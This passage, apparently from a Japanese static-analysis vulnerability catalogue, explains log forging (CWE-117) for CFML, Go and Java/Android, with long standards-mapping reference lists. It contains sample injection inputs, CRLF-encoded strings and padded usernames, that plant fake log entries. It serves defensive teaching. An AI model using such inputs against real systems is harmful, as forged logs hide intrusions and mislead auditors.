[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.cobol.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。


2. データはアプリケーションまたはシステムログファイルに書き込まれます。


アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例:次の Web アプリケーションコードは Web フォームから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"


しかし、攻撃者が「twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22」という文字列を送信すると、以下のエントリが記録されます。


"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"

"Information",,"02/28/01","14:53:40",,"User logged out: badguy"


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.cfml.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1.信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2.データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントの履歴をログファイルに保管したり、トランザクションを表示したりします。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例: 次の Web アプリケーションコードはリクエストオブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}


ユーザーが logout として「twenty-one」という文字列を送信すると、「admin」という名前のユーザーを作成でき、以下のエントリが記録されます。


Attempt to log out: name: admin logout: twenty-one


しかし、攻撃者が「admin+logout:+1+++++++++++++++++++++++」というユーザー名を作成できる場合、以下のエントリが記録されます。


Attempt to log out: name: admin logout: 1 logout: twenty-one
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例 1:次の Web アプリケーションコードはリクエストオブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val=twenty-one


しかし、攻撃者が「twenty-one%0a%0aINFO:+User+logged+out%3dbadguy」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。

一部には、モバイルの世界では Log Forging のような古典的な Web アプリケーションの脆弱性は意味がなく、自分に降りかかる攻撃をするはずがない、という見方があります。しかし忘れてはならないモバイルプラットフォームの基本は、さまざまなソースからアプリケーションをダウンロードして同じデバイス上で一緒に実行することです。このため、たとえばバンキングアプリケーションのすぐ隣でマルウェアの一部を実行する可能性が高くなり、モバイルアプリケーションの攻撃面を拡張し、プロセス間通信なども含める必要があります。

例 2: 次のコードでは、Android プラットフォームにExample 1 を応用しています。


...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] IDS03-J. Do not log unsanitized user input CERT
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 117
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 AU, SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[14] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[17] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[23] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[24] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[25] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[26] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例 1: 次の Web アプリケーション コードはリクエスト オブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


var cp = require('child_process');
var http = require('http');
var url = require('url');

function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...


